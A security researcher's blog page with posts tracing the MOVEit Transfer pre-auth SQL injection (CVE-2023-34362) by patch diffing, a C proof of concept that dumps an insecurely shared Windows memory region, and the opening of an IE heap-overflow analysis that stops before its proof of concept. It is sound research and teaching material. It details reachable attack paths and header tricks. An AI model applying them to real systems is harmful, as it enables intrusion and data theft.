❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdaySliding Window

PATCH DIFFING: MOVEIT TRANSFER PRE-AUTHENTICATED SQL INJECTION VULNERABILITY (CVE-2023-34362) – PART2

15 July 2023 at 13:43

In the previous blog post, we analysed the MOVEit Transfer patch that mitigates a SQL injection vulnerability (CVE-2023-34362) and figured out the entire call flow to reach the vulnerable method, SetAllSessionVarsFromHeaders(). It looks like this: /moveitisapi/moveitisapi.dll?action=m2 –>Β Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders().

What we did was just figured out the entry point and we still need to work on the following:

  1. Find and exploit the SQL injection vulnerability.
  2. Since there are lots of changes forΒ UserGetUsersWithEmailAddress() function as well as related SQL queries in the patched version, check if that’s something can give us SQL injection.
  3. We’ve been accessing this endpoint with a low privileged user, User1. We need to find a way to access it without any authentication.

Tracing it back

Since we already know that the SetAllSessionVarsFromHeaders() method processes the X-siLock-SessVarΒ header value without sanitising it, we need to figure out where this tainted header value is being used or read. For that, we can load all the .Net compiled DLLs from β€œC:\MOVEiTransfer\wwwroot\” into ILSpy, decompile them all, click Save this code into a directory, and then grep it for X-siLock-SessVar.

Unfortunately, these are the class files that we already know about. Our other bet would be to review the DMZ_WEB.LOG file for string MySessVar:Kapil since that’s the X-siLock-SessVarΒ  header value we supplied in our last request to Β /moveitisapi/moveitisapi.dll?action=m2.

Looking at this debug log, it’s clear that we were able to reach /moveitisapi/moveitisapi.dll?action=m2 –>Β Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders() and the transaction folder_add_by_path led to an error β€œNot allowed to create folder β€˜/’ ” which we already know. Apart from that, we see that a SQL query was executed successfully and then the SILCurrentUser.fillInfo() method was called which says β€œFound Session values, not ignoring session vars, skipping database query.”

The statement β€œNot ignoring session vars” sounds interesting since this could be the one dealing with our session variable X-siLock-SessVar? We can search the decompiled DLLs for this string.

As you can see from the screenshots above, the MOVEit.DMS.ClassLib –> SILCurrentUser class –> FillInfo() method contains this string and at some point it checks to see if the ignoreSessionVars is True. If yes, it then ignores the global session variables and returns an error. Otherwise, it calls the FillInfoFromSession() method, perhaps for processing the session vars? Let’s check the function/method definition.

Another bad news for us. 😦 As you can see from the excerpt above, This FillInfoFromSession() method doesn’t process the user supplied key/pair for X-siLock-SessVar, so we get no control here. We need to find another way!

From our earlier observations, we know that the SetAllSessionVarsFromHeaders() method derives a key/pair from the X-siLock-SessVar header. To see where this key/value pair is used, I tried grepping the decompiled code for strings such as = key, sessionvar, sessionvars, session-setvar, sessvar, and x-siLock-SessVar etc., but got nothing useful (unless I missed or overlooked something).

Bringing back UserGetUsersWithEmailAddress()

Considering all our failed attempts, it may be a good idea to shift our focus back to UserGetUsersWithEmailAddress(). We see two calls to this method have been replaced in the MOVEit.DMZ.CLassLib.UserEngine class and SQL queries have been updated.

These are the some of the changes that we can see in the Diff. When we analyze this UserGetUsersWithEmailAddress() method in ILSpy, we see that it’s being called two other methods from the same class, UserGetSelfProvisionUserRecipsWithEmailAddress() and UserGetListOfUsersWithEmailAddress().

Also, we see references to these methods in other classes or files.

In the IUserEngine class, it’s just the interface and in the SILEngine class, it β€˜s being called from the IsValidEmailCheck() method. Let’s check the MsgEngine class.

So, this is how the call graph looks like: MOVEit.DMZ.ClassLib.MsgEngine.MsgPostForGuest() –> MOVEit.DMZ.ClassLib.UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() –> MOVEit.DMZ.ClassLib.UserEngine.UserGetUsersWithEmailAddress().

But where this MsgPostForGuest() is being called from? I don’t know why but the ILSy Analyze doesn’t show where this method is being called from. Let’s try to grep the decompiled code and see if we can figure it out.

Though it’s being referenced by four class files, we can ignore the first two. We already know that it’s defined in MsgEngine class and IMsgEngine seems to be just an interface. The last one, midmz.dll –> SILMachine class is something we may want to ignore at least for now since this MsgPostForGuest() method is being referenced by the ProcessXMLRequest() method which seems to be irrelevant. Let’s analyse the midmz.dll –> SILGuestAccess class in ILSpy.

Skimming through this SILGuestAccess class, we come across debug logging that says β€œguestaccess.aspx starting” which appears to deal with Guest user account.

So, this is how the full call graph looks like:

midmz.dll –> MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML() –> MOVEit.DMZ.WebApp.SILGuestAccess.PerformAction() –> MOVEit.DMZ.ClassLib.MsgEngine.MsgPostForGuest() –> MOVEit.DMZ.ClassLib.UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() –> MOVEit.DMZ.ClassLib.UserEngine.UserGetUsersWithEmailAddress().

From guestaccess.aspx to UserGetUsersWithEmailAddress()

Since the GetHTML() seems to be the first method in this call graph/chain that we can reach from guestaccess.aspx, it would be a good idea to examine it first.Also, this is where the PerformAction() method is invoked from.

So, this is what the GetTHML() does:

  1. Invokes LoadFromSession() method to get session values such as MyPkgAccessCode, MyPkgValidationCode, MyPkgID, MyGuestEmailAddr, MyPkgInstID, IsSelfProvisioned, MyPkgSelfProvisionedRecips, and MyPkgViewed and stores them into appropriate variables. We need to figure out if these are taken from the Cookie header or Session Variables. Also, looking at LoadFromSession() definition, the IsSelfProvisioned or PkgID always needs to be zero.
  2. Gets a value from MyUsername and stores it into a variable text3.
  3. Checks if text3 (MyUsername) is set to β€œGuest” and AccessCode is empty. If so, it resets the text3 variable to an empty string.
  4. Otherwise, in a Switch statement, it checks if there’s an active session for the username provided in text3 (MyUsername).
  5. If the username is β€œGuest”, and sessionInstId is empty, it sets the following variables: m_foundactivesession, m_sessioninstid, m_access_code, and m_validationcode from either siGlobs global variables or m_pkginfo that was retrieved from LoadFromSession() in step 1.
  6. If SessionAcessCode is not empty and m_temppkginfo.InstID and sessionInstId are same, then it sets the variables mentioned in step 5 as well as m_sessionfromdb.
  7. Finally, it breaks out of the Switch.

So, it looks like we need to set MyUsername along with all the variables mentioned in step 1 and/or 6. There’s lots of code after the aforementioned break statement, but I think we should focus only on a call to PerformAction() method only since it’s a part of the call chain.

8. As you an see from the screenshots above, this is what the PerformAction() method does:

  • Perform some string comparisons as well as validate the CSRF toke provided in the HTTP request. Exit if the CSRF token is not same as the one from .GetCT() method.
  • Check if the Transaction string is valid. The most interesting string is β€œsendauto” or β€œsend” Switch/Case block, since that’s where the MsgPostForGuest() method is called from and a database update query is fired which appears to be taking an unsanitized user input, m_accesscode.
  • As we know from Step 1, the m_accesscode comes from m_pkginfo.AccessCode which in turn comes from MyPkgAccessCode session value. ( A call to m_pkginfo.LoadFromSession() ).

Connecting the Dots

Alright, so far, we figured out that we can reach the patched function UserGetUsersWithEmailAddress() through guestaccess.aspx by sending all the parameters mentioned in step 1, step 8, and/or step 6. Now we need to figure out if we need to send these parameters or arguments in HTTP query Strings, Session Variables or Cookies? Also, how. to get the right CSRF Token?

If we search through the SILGlobals class, we see several methods that get various user inputs such as Transaction, CsrfTokenIncoming and Arg01 through Arg12 from HTTP GET as well as HTTP POST requests.

I haven’t gone through the entire code from this SILGlobals class file, but it looks like we can send these parameters in Query string, Cookie value, Session Variables, or HTTP POST request body.

From Step 8.1 , we know that the first thing the PerformAction() method does is, it checks if the Transaction parameter contains a valid transaction string and compares the incoming CSRF token with the one it gets from siGlobs.objUtility.GetCT() method.

Looking at the PerformAction() code and fiddling little bit around the GET request parameters, I was able to get the CSRF token in an unauthenticated request. We need to supply just the Arg06 with any dummy value to get the CSRF token.

And then send this token in the HTTP POST request for the SQLi. The next step is to craft the exact HTTP request that would exploit SQL injection through the vulnerable parameter MyPkgAccessCode.

I tried a few things, but didn’t have a luck exploiting this vulnerability. I kept getting error β€œYour session has expired”. I guess I need to look at the code carefully and try again. I will update this blog post once I examine it again.

Patch Diffing: MOVEit Transfer Pre-Authenticated SQL Injection Vulnerability (CVE-2023-34362) – Part1

10 July 2023 at 22:25

Although, the MOVEit Transfer N-Day exploit party is over, I recently started my Patch Diffing journey, so I was looking for another target to practice my skills and survive the painful journey of patch diffing / exploit development. The analysis of unauthenticated SQL injection vulnerability in MOVEit Transfer (CVE-2023-34362) appeared to be challenging yet rewarding journey.

In this blog post, we will go over the following:

  1. Download the patched and unpatched files or installers.
  2. Install the application and perform basic configuration if needed.
  3. Identify the changed files.
  4. Identifying the changes in patched file(s).
  5. Understand if all of the identified changes are related to each other, specifically to SQL injection vulnerability. If yes, figure out how they’re related.
  6. Identify the API endpoint (entry point or HTTP request) which is vulnerable to SQL injection along with required HTTP headers, and parameters (query strings) etc.
  7. Craft our first successful HTTP request and send it locally from the same MOVEit Transfer server.
  8. Check if the vulnerable endpoint can be accessed remotely, meaning if we can send our crafted HTTP request from any remote machine that can talk to the vulnerable MOVEit Transfer server.
  9. If not, then check if there’s endpoint that will help us reach/hit the vulnerable endpoint remotely.
    • If there’s one, then identify the HTTP headers and/or parameters (query stings) required for this endpoint to reach the vulnerable code path or function.
    • Craft our first HTTP request and send it remotely.
  10. Outline the next steps for Part 2 of this blog post (identifying and exploiting SQL injection).

To start with, I downloaded the evaluation copies of MOVEit Transfer 2023, unpatched version 15.0.0.31, and patched version 15.0.2.39 from their official website, installed them on Windows Server 2022 machines, and did some basic configuration such as creating an organisation and adding a new low privileged user, User1.

The unpatched version wasn’t available for download, but manipulating the latest download URL helped me get the unpatched version too. Had it not worked, the WayBackMachine would have been the only option.

Locating the Changed Binaries

Alright, two new directories are created post successful installation, β€œC:\MOVEitTransfer\” and β€œC:\Program Files\MOVEit\” and the webroot is under β€œC:\MOVEitTransfer\” directory. We need to copy these directories from patched and unpatched targets, diff them to find changed files, and see what exactly has changed.

As you can see, total 133 binaries have been changed in the patched version. We can use the file command to check if it’s a native C code.

As you can see from the screenshot above, it’s mix of both, native C code and compiled binaries using Microsoft .Net. While we can feed all these changed .Net binaries to a .Net decompiler tool called ILSpy, it would be very laborious process. Also, the vendor provided DLL drop-ins in the June 9th patch, so we can take advantage of that to save us some time. I couldn’t find a link to that DLL drop-ins patch again, but will update this blog post with the URL once I get it.

This DLL drop-ins patch contains three files, midmz.dll, MOVEit.DMZ.ClassLib.dll, and MOVEitISAPI.dll. Since, the mimdz.dll and MOVEit.DMZ.ClassLib.dll are .Net compiled binaries, we can decompile them using ILSpy and look at the diff.

Once we import these files into ILSpy, we need to select them, right click, and click Load Dependencies. This will load all their dependencies. After that, to decompile the .Net code, we need to select all the loaded files, right click, and then click Decompile to new tab. Finally, we need to right click and click Save Code. While loading and decompiling all the dependencies may not be necessary, I just prefer it that way.

We need to perform these steps for both, patched and unpatched binaries.I saved the unpatched ILSpy code under the directory β€œMOVEit_Diff/Exported_Projects_Unpatched/” and patched code under β€œMOVEit_Diff/Exported_Projects_Patched/. We can now diff the β€œExported_Projects_Unpatched/midmz/” and β€œExported_Projects_Patched/midmz/” directories to find the differences. Same goes for the patched and unpatched β€œMOVEit.DMZ.ClassLib” directories.

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/MOVEit_Diff]
└─$ pwd
/home/kali/Desktop/MOVEit_Diff
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/MOVEit_Diff]
└─$ diff -r ./Exported_Projects_Unpatched ./Exported_projects_patched > diff.txt
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/MOVEit_Diff]
└─$

Spotting the Differences

Next, we need to check what has been changed or removed in the patched files. Skimming through the diff.txt, we see that the entire class method SetAllSessionVarsFromHeaders() has been removed from MOVEit.DMZ.Classlib.DLL –> SILHttpSessionWrapper class from the patched version.

Also, a call to the method SetAllSessionVarsFromHeaders() is removed from midmz.dll –> MOVEit.DMZ.WebApp –> SILMachine2 class.

Apart from that, some code related to MOVEit.DMZ.Classlib.DLL –> UserEngine –> UserGetUsersWithEmailAddress() method along with related SQL queries is also changed. Here’s the excerpts from diff.txt:

To summarize, the following changes have been made:

  1. The SetAllSessionVarsFromHeaders() method has been removed from MOVEit.DMZ.Classlib.DLL –> SILHttpSessionWrapper class.
  2. A call to SetAllSessionVarsFromHeaders(ServerVars) is removed from midmz.dll –> MOVEit.DMZ.WebApp –> SILMachine2 class.
  3. The code related to MOVEit.DMZ.Classlib.DLL –> UserEngine class –> UserGetUsersWithEmailAddress() method is updated.
  4. Lots of SQL queries from MOVEit.DMZ.Classlib.DLL –> UserEngine class have been updated which could be the fix for this SQL injection vulnerability.

Digging a Little Deeper

Now, we need to understand if all these updated/removed methods, variables, and SQL queries are related to each other. If yes, then how they are linked and how we can control them to perform SQL injection.

Let’s analyze the decompiled SetAllSessionVarsFromHeaders() method, ServerVars variable, and X-siLock-SessVar header in ILSpy to understand as to why this code was partly removed or updated.

This is what the SetAllSessionVarsFromHeaders() method does:

  1. Takes the ServerVars string as an argument which contain HTTP request headers.
  2. Checks if the X-siLock-SessVar header is present in the array of strings derived from splitting ServerVars.
  3. If the X-siLock-SessVar header is found, split it to derive a key/value pair.
  4. Notice that the key/value pair is constructed directly from the X-siLock-SessVar value without performing any input validation or sanitization. Is SeverVars[β€˜X-siLock-SessVarβ€˜] already sanitized before calling SetAllSessionVarsFromHeaders()?

The header name, X-siLock-SessVar suggests that it’s a session variable whose value is a key/value pair, for example, MySessVar: Kapil.

But where does ServerVars get values for X-siLock-SessVar header from? We can use the ILSpy’s Analyze feature to get a function call graph for SetAllSessionVarsFromHeaders().

As you can see, the SetAllSessionVarsFromHeaders() is defined in MOVEit.DMZ.Classlib.dll –> SILHTTPSessionWrapper class and it’s called from a private method DoTransaction(). The entire call graph looks like this: Machine2Main() –> DoTransaction β€”> SetAllSessionVarsFromHeaders().

The following screenshot shows the Machine2Main() code. As you can see, the ServerVars is assigned a value in Machine2Main() method.

The ServerVars gets its value from ServerVariables (HTTP request headers) and it’s then passed to the CrackInput() method for string comparison.

The CrackInput() method retrieves several HTTP request headers from ServerVars and one of the headers, X-siLock-Transactionβ€˜s value is stored in a variable called InputTransaction; however, the X-siLock-Transaction header is passed to GetHeaderValue()–> MimeDecodeString() before storing it in InputTransaction.

By examining the code for GetHeaderValue() and MimeDecodeString(), we can find the answer to our previous question: Is SeverVars[β€˜X-siLock-SessVar’] already sanitized before calling SetAllSessionVarsFromHeaders()? The answer is no; it is not! The X-siLock-SessVar is not sanitised anywhere within the CrackInput() method. This may be our gateway to SQL injection.

After performing some checks, DoTransaction() method is called. Here’s the code for DoTransaction().

The value of X-siLock-Transaction, which appears to be modifiable by the user, is stored in a variable named InputTransaction and represents an action or transaction. The DoTransaction() method checks if it contains one of the pre-defined transactions (Switch/Case) and performs actions accordingly, for example, downloading or uploading files etc.

Also, if the X-siLock-Transaction header is set to session_setvars, then the SetAllSessionVarsFromHeaders() method is called. So far, looking at the SetAllSessionVarsFromHeaders() and DoTransaction() methods, it seems that we do control both the HTTP headers, X-siLock-SessVar and X-siLock-Transaction.

We now know that we can control the X-siLock-SessVar and X-siLock-Transaction header values and hit the SetAllSessionVarsFromHeaders() method through Machine2.aspx –> Machine2Main() –> DoTransaction().

From Machine2.aspx to SetAllSessionVarsFromHeaders() via DoTransaction()

To validate our assumption, we can try sending a simple HTTP GET request to /machine2.aspx endpoint locally from the MOVEit Transfer server itself. We will be sending an unauthenticated request without the aforementioned headers:

Though the advisory says it’s an unauthenticated SQL injection vulnerability, let’s try sending the same request with a low privileged users, User1’s session cookie. Later on, we will try to figure out how this machine2 endpoint can be accessed in an unauthenticated request.

As you can see, accessing the https://localhost/machine2.aspx without sending the required headers throws an error β€œInvalid Transaction β€˜ β€˜β€œ . This is what we see in the DMZ_WEB.log:

It’s irrelevant for this blog post, but I wonder what would happen if an unauthenticated or may be a low privileged user downloads this log file through built-in feature (if any) or by discovering a Local File Inclusion (LFI) vulnerability. He would then have access to the currently logged in users’ session cookies, including admin and sysadmin!

Anyway, let’s try sending the X-siLock-Transaction header. Since we need to reach Machine2.aspx –> Machine2Main() –> DoTransaction() –> SetAllSessionVarsFromHeaders(), we need to set the transaction to session_setvars which in turn requires another header, X-siLock-SessVar with may be a valid key/value pair; however, for now, we will use a dummy value MySessVar: Kapil

That’s a good news! And this is what we see in the DMZ_WEB.log:

Let’s try to send this request remotely, from different machine.

That’s a bad news, but not entirely unexpected, considering our prior observation of the Machine2Main() code.

Into the Labyrinth

Though we figured out potential entry points, such as the headers, variable, and API endpoint machine2.aspx which is required for SQL injection, we aren’t able to make this HTTP request remotely because machine2.aspx is accessible only over Loopback IP. The DMZ_WEB.log confirms this:

So, what are our options?

  1. Find a way to bypass the reverse IP lookup and/or hostname check. May be setting the attacking machine’s NETBIOS name same as the target MOVEit Transfer server’s NETBIOS name?
    • Update: I tried this on my Kali machine but it didn’t work due to the strict IP type validation.
  2. Find another endpoint which will route our requests to machine2.aspx.

It seems that the only available choice is to locate an alternate endpoint capable of routing our requests to machine2.aspx. But, how can we identify such an endpoint? So far, we’ve seen three errors from machine2.aspx. We can try to grep the MOVEit_Diff directory where we’ve kept the decompiled files from ILSpy to see where these errors come from.

Apparently, none of the files that we’ve decompiled deal with these errors. Next, we can try to grep for HTTP response headers that we get from machine2.aspx.

Let’s try to grep that directory for some of the strings and errors that we saw in DMZ_WEB.log as well as the X-siLock-Transaction header that we control.

As you can see from the screenshots above, the MOVEitISAPI.dll contains X-siLock-Transaction and some of the machine2.aspx response header strings, including the string machine2.aspx! If you can recall, this is one of the DLLs from DLL drop-ins patch that we haven’t looked at yet.

Based on our previous findings, the MOVEitISAPI.dll is a native C compiled binary that cannot be decompiled or analysed by our .Net decompiler, ILSpy. To obtain the decompiled code, we will need to load the unpatched MOVEitISAPI.dll into Ghidra, go to Analyze, and export it as a C program. However, the resulting code may not be easily readable, so we may have to fix function signatures, variable names and/or export the patched and unpatched versions to BinDiff format if needed.

While searching for X-siLock-Transaction string through more than a million lines of decompiled code, we see a reference to the function FUN_1800704(). The X-siLock-Transaction header is passed to this function as an argument. Subsequently, the transaction string folder_add_by_path is passed to the function FUN_1804da72c(), and its return value is stored in a variable iVar4.

If the return value (iVar4) is zero, then later in the same code block (if (iVar4 ==0)), the function FUN_1800d8520() is invoked, which forwards the request to machine2.aspx.

However, we’re already using the X-siLock-Transaction header to trigger the session_setvars transaction. How we can go about this?

Based on our observation, and since MOVEitISAPI.dll is located under the directory β€œC:\MOVEitTransfer\MOVEitISAPI”, we can try sending the following request from our remote machine.

Now we’re getting different error, β€œUnrecognized action”. We can get more information about this event in DMZ_ISAPI.log.

It seems that the MOVEitISAPI.dll expects a query string in the request, otherwise it throws β€œunrecog action” error. Also, it seems that the action= is the query string it’s looking for. While searching for the error string β€œunrecog action” in the decompiled MOVEitISAPI.dll code, we see the following code block.

It compares the query string, probably action=, with the character array acStack_5b00 and if it’s not m2, then it calls FUN_1800d8520 which throws an error β€œunrecog action”. To further validate our assumption about the query string being action=, we can search it in Ghidra –> Search –> Program Text.

This confirms that there’s indeed a parameter called action= and one of the actions is m2. However, we still need to deal with another problem, sending two transactions, folder_add_by_path , and session_setvars using the same header, X-siLock-Transaction.

I played with it a little bit and noticed that it doesn’t perform strict matching on header value, so sending an additional tampered X-siLock-Transaction header should work.

I tried sending this request a few times, but kept getting 0 bytes in the response. However, looking at the DMZ_ISAPI.log, we can be sure that we’ve crafted the request correctly.

I’m not sure why, but sending this request through cURL works just fine.

Alright, we were able to reach Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders() through /moveitisapi/moveitisapi.dll?action=m2!

Summary

We started with installing patched and unpatched MOVEit Transfer targets to identify the changed binaries and gradually moved to step 7 where, based on the vulnerable entry point machine2.aspx, HTTP headers and parameters we identified, we successfully crafted our first HTTP request to reach Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders().

However, we couldn’t connect to machine2.aspx remotely because it’s accessible only over Loopback IP which forced us to look for an alternate endpoint capable of routing our requests to machine2.aspx. Fortunately, we could figure out that Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders() can be reached through /moveitisapi/moveitisapi.dll?action=m2.

So, this is how the entire flow looks like: /moveitisapi/moveitisapi.dll?action=m2 –> Machine2.aspx –> DoTransaction() –> SetAllSessionVarsFromHeaders().

What’s next?

Though it’s a lot for the part 1 of the blog post, we are not done yet. We still need to:

  1. Find and exploit the SQL injection vulnerability.
  2. Since there are lots of changes for UserGetUsersWithEmailAddress() function as well as related SQL queries in the patched version, check if that’s something can give us SQL injection.
  3. We’ve been accessing this endpoint with a low privileged user, User1. We need to find a way to access it without any authentication.

When time permits, I will work on that and post the part 2 of this blog post. Until next time πŸ™‚

Exploiting Inter-Process Communication through Shared Memory

14 May 2023 at 13:58

Update (June 20 2023): This blog is based on the vulnerability I discovered/reported in SAP SQLAnywhere 17.0 (CVE-2023-33990) back in January 2023. SAP patched it in July 2023; however, their product security response team declined to credit me for this disclosure because I reported the vulnerability through their customer support channel, which was the standard procedure at Veritas.

Sometimes during our Penetration tests, we come across Windows applications or programs that use shared memory for Inter-Process Communication (IPC). It’s either one of its own services or some third-party component, application, or service it interacts with.

There are two ways processes can communicate with each other, Shared Memory and Message Passing, and these are known as IPC models. In this blog post, we will look at a Shared Memory model that uses Memory Mapped File (MMF) which is also known as Section Object.

We will write a short C program to intentionally create an insecure shared memory region using memory-mapped file and then write another C program to abuse or exploit this insecure shared memory to read/dump data from it. The sourced and binaries are available on my Github repo.

What is Inter-Process Communication?

When a process communicates with another process running on the same system, it’s called Inter-Process Communication (IPC). There are several use cases to for IPC and some of them include:

  1. A process may need to share some data or resources with other processes, for example, environment data from system.
  2. Divide the task in several subtasks and spawn new processes for each subtask to improve performance.
  3. Integrating with third-party modules, components or services.

Moreover, there are several benefits to implementing IPC using shared memory over normal file or network I/Os and yes, it comes with some drawbacks too. Please refer to the links in the References section for more information about pro’s and con’s of using shared memory.

Let’s understand how Process A can communicate with Process B running on the same system using shared memory with the help of following diagram:

Reference: The Neso Academy YouTube Channel

If Process A wants to communicate with Process B, it first needs to create a shared memory region in its own address space and set appropriate permissions on it. The Process B then needs to attach to this shared memory region and read data from or write data to this region depending on what it was designed to do.

How to create a shared memory region then?

In this blog post, we will look at creating a shared memory region using memory-mapped files (MMF). A memory-mapped file is a region in (virtual) memory where contents of a file are loaded and the mapping between this file and memory space is maintained.This enables an application, including multiple processes, to modify the file by reading and writing directly to the memory instead of performing file I/O which is cumbersome.

There are two types of memory-mapped files:

  • Persisted memory-mapped files – In this type, we specify a file on the disk to be used for shared memory. The contents of this file are then loaded into memory and when all processes finish working on it, the data is then written or saved to this file on the disk. This is useful when dealing with large files, especially on 32-bit systems where we cannot have more than 4 GB shared memory.
  • Non-persisted memory-mapped files – In this type, we instruct the program to use the system Page file instead of using any specific file on the disk. The data, however, is lost when the processes finish working on it. These files are suitable for creating shared memory for inter-process communications (IPC).

We will go with the second option, non-persisted memory-mapped file in which we will use the system Page file for creating a shared memory region and we will use one of the commonly used Windows API called CreateFileMapping().

Process A – Creating a shared memory (memory-mapped file backed by or using the system Page file)

This is the process that would be creating a new shared memory region in its own address space and here’s the excerpts from the code.

HANDLE hFileMapping;
PWSTR SharedMemData;
LPVOID lpFileMap = NULL; // Initialise to NULL to avoid uninitialised pointer variable error.
int fMapSize = 4 << 10; // 4 KB 
const wchar_t* fMapName = L"Global\\SharedMemTest";

hFileMapping = CreateFileMapping(INVALID_HANDLE_VALUE,  &sa,  PAGE_READWRITE,  0,  fMapSize,  fMapName);
//error handling here

The function CreateFileMapping() takes six arguments, however the second and sixth arguments are optional. Let’s try to understand it with the help of following representation:

Here, we’re passing INVALID_HANDLE_VALUE to create a shared memory region/page using the system Page file. The second argument &sa is a pointer to the SECURITY_ATTRIBUTES structure. We will briefly discuss it later in this blog post. The third argument sets Read/Write permissions on this memory region.

The fifth parameter fMapSize specifies the size for the memory region, which is 4 KB in this case and the last parameter specifies the name for this memory region, which is β€œGlobal\SharedMemTest” in this case. The prefix Global allows this memory region to be accessible from other Logon sessions, so any other user logged into the machine can read from ProcessA’s memory though it was started by another user, say Administrator.

If the CreateFileMapping() function succeeds, it returns a handle to the newly created file mapping object. This handle is then stored in the variable of type HANDLE, hFileMapping.

ProcessA – Map the file mapping object into the address space

After that, we need to map this file mapping object into ProcessA’s address space and we do that using the MapViewofFile() function.

lpFileMap = MapViewOfFile(hFileMapping,   FILE_MAP_ALL_ACCESS,  0,  0,   fMapSize);
//error handling here

This function takes 5 parameters. The first one is a handle to the file mapping object, which in our case is hFileMapping. The second argument FILE_MAP_ALL_ACCESS set the read/write access on this file mapping object, so that ProcessA can write into it.

The third and fourth parameters are dwFileOffsetHigh and dwFileOffsetLow respectively. We’ve set them both to 0 so that can map this file mapping object from the beginning. The last parameter, fMapSize specifies the maximum size for this file mapping object. In our case, it’s 4 KB ( int fMapSize = 4 << 10 ).

If successful, this function returns the starting address of the mapped view which is then stored in variable lpFileMap.

ProcessA – Writing into the shared memory

So far, we created a shared memory region and mapped it into the ProcessA’s address space, we can now start writing data into it using either the memcpy() function or wcsspy_s() function. Here’s the code:

wcscpy_s((PWSTR)lpFileMap, sizeof(secretData), secretData);
SharedMemData = lpFileMap;

printf("The following connection string was written to the shared memory %ls successfully:\n\n%s", fMapName, SharedMemData);

So, we pass the starting address of the mapped view (lpFileMap) and secretData along with its size. The secretData string should now be in the shared memory and we should be able to print it back:

ProcessA – Setting Permission on the shared memory

While creating a file mapping object using CreateFileMapping() function, the second argument, &sa we passed to it was a pointer to SECURITY_ATTRIBUTES structure (lpFileMappingAttributes).

If this attribute is set to NULL, the handle cannot be inherited and the file mapping object gets a default security descriptor. The access control lists (ACL) in the default security descriptor for a file mapping object come from the primary or impersonation token of the creator.

However, there are uses cases where we need to change the permissions on file mapping objects and this is where things usually go wrong. We either end up setting incorrect permissions or no permissions at all. Let’s understand it with the help of following diagram:

As you can see, the second parameter to CreateFileMapping() is a pointer to SECURITY_ATTRIBUTES structure called sa. One of the members of this structure, lpSecurityDescriptor holds a pointer another structure sd which is a SECURITY_DESCRIPTOR.

This security descriptor structure contains information about an object that we want to secure, in this case, file mapping object SharedMemTest. We can set Security identifiersΒ (SIDs) as well as Discretionary Access Control List Β (DACL) to specify which users or groups will have access to this object.

As you can see from the code snippet above, we’re giving members of the domain or local users group full access to this file mapping object.So, any user or process should be able to read and write into this shared memory region as long as they are part of at least domain/local users group.

We can use Process Explorer to check permissions on this object.

As you can see, ProcessA created a named file mapping object (shared memory) β€œSharedMemTest” and since this machine is not part of a domain yet, it granted full access to the members of the local Users group. Any low privileged local user should be able to read from this shared memory region as well as write to it.

In some cases, you may see no permissions assigned at all. In such cases, a warning will be displayed –

β€œNo permissions have been assigned to this object.

This is a potential security risk because anyone who can access this object can take ownership of it. The object’s owner should assign permissions as soon as possible.”

So to summarise, we created a shared memory region called SharedMemTest using CreateFileMapping() function, set permissions on it such that any user who’s part of the Users group should be able to read from and write to it, and then wrote a secretData string into it.

SharedMemReader – Reading data from insecure shared memory region

Now, we need to see how any process or user with low privileges can read from or write to ProcessA’s shared memory SharedMemTest. This process should be able to attach to the shared memory β€œSharedMemTest” created by ProcessA. For that we need to use the same function MapViewOfFile() that we saw earlier. Here’s the code snippet from SharedMemReader.C

LPCSTR lpName;
HANDLE hFileMapping = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, lpName);

// Store the starting address of the mapped view into lpMapStartAddress
LPVOID lpMapStartAddress = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);

printf("\n[+]Dumping data from shared memory:\n");
printf("%s\n", (LPCSTR)lpMapStartAddress); // Typecast lpMapStartAddress to LPCSTR

Let’s login to the machine with admin account, launch ProcessA.exe and then we will SSH into this machine using a low privileged account called β€œlowpriv”, and launch SharedMemReader.exe to see if we can read the secretData string from ProcessA’s shared memory, β€œSharedMemTest”.

What’s the impact?

Depending on what permissions the victim process assigns to the shared memory object, it may be possible any low privileged user or a process to read data from it, write malicious data into process’s memory and/or crash it (DoS).

In some cases, it may be possible for an attacker or attacking process exploit this issue for privilege escalation.

How to test?

As we saw earlier, we can use Process Explorer to manually check if the target process or application fails to secure named or unnamed objects properly, and then use the SharedMemReader.exe that we wrote, to see if we can read from the process memory.

Please note that we need to launch Process Explorer with administrative rights so that it can query the target process for all the section objects it created. Otherwise, we wouldn’t see any handles for the target process.

Once we find named or unnamed section object(s), we can then try reading from or writing into them. For DoS, we can analyse the crash in WinDBG, x64dbg, x86dbg or Immunity Debugger.

Source and Binaries

https://github.com/SlidingWindow/ipc-shared-memory

References

https://www.x86matthew.com/view_post?id=shared_mem_utils

https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)

https://learn.microsoft.com/en-gb/windows/win32/api/winnt/ns-winnt-security_descriptor?redirectedfrom=MSDN

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openfilemappinga

https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

https://learn.microsoft.com/en-us/windows/win32/secauthz/security-identifiers

https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids

Analysis of Microsoft IE – jscript.dll β€˜Array.sort’ Heap Overflow Vulnerability (CVE-2017-11907)

5 June 2021 at 11:38

In December 2017, Google Project Zero disclosed a Heap Overflow vulnerability in Jscript.dll. A proof-of-concept (PoC) exploit can be found here. A CVE-2017-11907 has been assigned to this vulnerability. This disclosure was part of a series of vulnerabilities in WPAD/PAC and JScript that Google Project Zero reported in 2017.

An in depth technical write-up can be found in the blog post β€œaPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScriptβ€œ.

Per CWE-122, A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

This vulnerability was reported for Microsoft IE 11, however, I could reproduce it on IE8 on Windows 7 SP1. We will analyze this vulnerability in this blog post. Following is a PoC published by Google Project Zero:

